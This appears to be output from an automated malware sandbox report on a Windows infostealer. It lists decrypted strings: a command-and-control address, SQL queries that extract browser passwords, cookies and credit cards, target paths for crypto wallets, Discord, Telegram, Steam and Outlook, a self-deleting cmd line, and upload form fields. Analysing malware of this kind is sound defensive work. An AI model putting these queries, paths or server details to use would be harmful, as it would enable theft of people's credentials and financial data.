Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: VMwareVMware
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: HAL9TH
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: JohnDoe
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: DISPLAY
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: http://185.215.113.206
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: bksvnsj
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: /6c4adf523b719729.php
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: /746f34465cf17784/
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: tale
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetFileAttributesA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GlobalLock
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: HeapFree
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetFileSize
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GlobalSize
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: IsWow64Process
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Process32Next
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetLocalTime
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: FreeLibrary
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetVolumeInformationA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Process32First
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetLocaleInfoA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetModuleFileNameA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: DeleteFileA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: FindNextFileA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: LocalFree
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: FindClose
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: LocalAlloc
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetFileSizeEx
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: ReadFile
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: SetFilePointer
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: WriteFile
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: CreateFileA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: FindFirstFileA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: CopyFileA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: VirtualProtect
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetLastError
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: lstrcpynA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: MultiByteToWideChar
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GlobalFree
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: WideCharToMultiByte
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GlobalAlloc
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: OpenProcess
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: TerminateProcess
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetCurrentProcessId
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: gdiplus.dll
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: ole32.dll
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: bcrypt.dll
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: wininet.dll
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: shlwapi.dll
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: shell32.dll
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: psapi.dll
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: rstrtmgr.dll
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: SelectObject
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: BitBlt
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: DeleteObject
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: CreateCompatibleDC
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GdiplusStartup
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GdiplusShutdown
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GdipDisposeImage
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GdipFree
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: CoUninitialize
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: CoInitialize
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: CoCreateInstance
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: BCryptDecrypt
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: BCryptSetProperty
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: BCryptDestroyKey
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetWindowRect
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetDesktopWindow
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetDC
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: CloseWindow
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: wsprintfA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: CharToOemW
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: wsprintfW
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: RegQueryValueExA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: RegEnumKeyExA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: RegOpenKeyExA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: RegCloseKey
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: RegEnumValueA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: CryptUnprotectData
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: SHGetFolderPathA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: ShellExecuteExA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: InternetOpenUrlA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: InternetConnectA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: InternetCloseHandle
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: InternetOpenA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: HttpSendRequestA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: HttpOpenRequestA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: InternetReadFile
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: InternetCrackUrlA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: StrCmpCA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: StrStrA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: StrCmpCW
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: PathMatchSpecA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: RmStartSession
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: RmRegisterResources
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: RmGetList
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: RmEndSession
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: sqlite3_open
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: sqlite3_step
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: sqlite3_column_text
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: sqlite3_finalize
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: sqlite3_close
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: sqlite3_column_blob
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: encrypted_key
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: PATH
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: NSS_Init
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: NSS_Shutdown
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: PK11_FreeSlot
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: PK11_Authenticate
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: C:\ProgramData\
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: browser:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: profile:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: url:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: login:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: password:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Opera
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: OperaGX
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Network
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: cookies
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: .txt
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: TRUE
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: FALSE
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: autofill
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: history
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: cc
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: name:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: month:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: year:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: card:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Cookies
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Login Data
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Web Data
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: History
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: logins.json
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: formSubmitURL
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: usernameField
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: encryptedUsername
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: encryptedPassword
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: guid
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: cookies.sqlite
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: formhistory.sqlite
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: places.sqlite
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: plugins
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Local Extension Settings
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Sync Extension Settings
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: IndexedDB
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Opera Stable
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Opera GX Stable
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: CURRENT
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: chrome-extension_
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Local State
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: profiles.ini
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: chrome
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: opera
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: firefox
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: wallets
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: ProductName
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: x32
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: x64
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: ProcessorNameString
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: DisplayName
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: DisplayVersion
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Network Info:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: - IP: IP?
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: - Country: ISO?
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: System Summary:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: - HWID:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: - OS:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: - Architecture:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: - UserName:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: - Computer Name:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: - Local Time:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: - UTC:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: - Language:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: - Keyboards:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: - Laptop:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: - Running Path:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: - CPU:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: - Threads:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: - Cores:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: - RAM:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: - Display Resolution:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: - GPU:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: User Agents:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Installed Apps:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: All Users:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Current User:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Process List:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: system_info.txt
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: freebl3.dll
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: mozglue.dll
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: msvcp140.dll
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: nss3.dll
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: softokn3.dll
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: vcruntime140.dll
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: \Temp\
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: .exe
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: runas
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: open
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: /c start
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: %DESKTOP%
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: %APPDATA%
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: %USERPROFILE%
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: %DOCUMENTS%
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: %RECENT%
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: *.lnk
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: files
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: \discord\
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: \Telegram Desktop\
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: key_datas
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: map*
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Telegram
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Tox
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: *.tox
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: *.ini
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Password
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: 00000001
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: 00000002
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: 00000003
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: 00000004
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Pidgin
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: \.purple\
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: accounts.xml
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: token:
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Software\Valve\Steam
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: SteamPath
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: \config\
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: ssfn*
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: config.vdf
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: DialogConfig.vdf
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: libraryfolders.vdf
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: loginusers.vdf
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: \Steam\
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: sqlite3.dll
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: browsers
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: done
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: soft
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: https
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: POST
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: HTTP/1.1
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: hwid
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: build
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: token
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: file_name
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: file
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: message
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 13.2.0d8313073f.exe.610000.0.unpack	String decryptor: screenshot.jpg

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:63716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:64022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:64023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:64029 version: TLS 1.2

Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: MSBuild.exe, 00000012.00000002.2960053340.0000000005530000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\exe\MSBuild.pdbo source: MSBuild.exe, 00000012.00000002.2927279861.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.pdbpdbtem.pdb source: MSBuild.exe, 00000012.00000002.2960053340.0000000005530000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: 0d8313073f.exe, 0000000D.00000003.2559813189.000000000533B000.00000004.00001000.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000002.2983236159.000000006C191000.00000002.00000001.01000000.0000001A.sdmp, 0d8313073f.exe, 0000000D.00000002.2922718430.000000000063C000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: n0C:\Windows\MSBuild.pdb source: MSBuild.exe, 00000012.00000002.2924990669.0000000000CF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: Plofgcjnqfn.pdb source: MSBuild.exe, 00000012.00000002.2945809571.0000000004043000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2945809571.0000000003D5C000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2956645688.00000000051F0000.00000004.08000000.00040000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2942794454.0000000002BB1000.00000004.00000800.00020000.00000000.sdmp
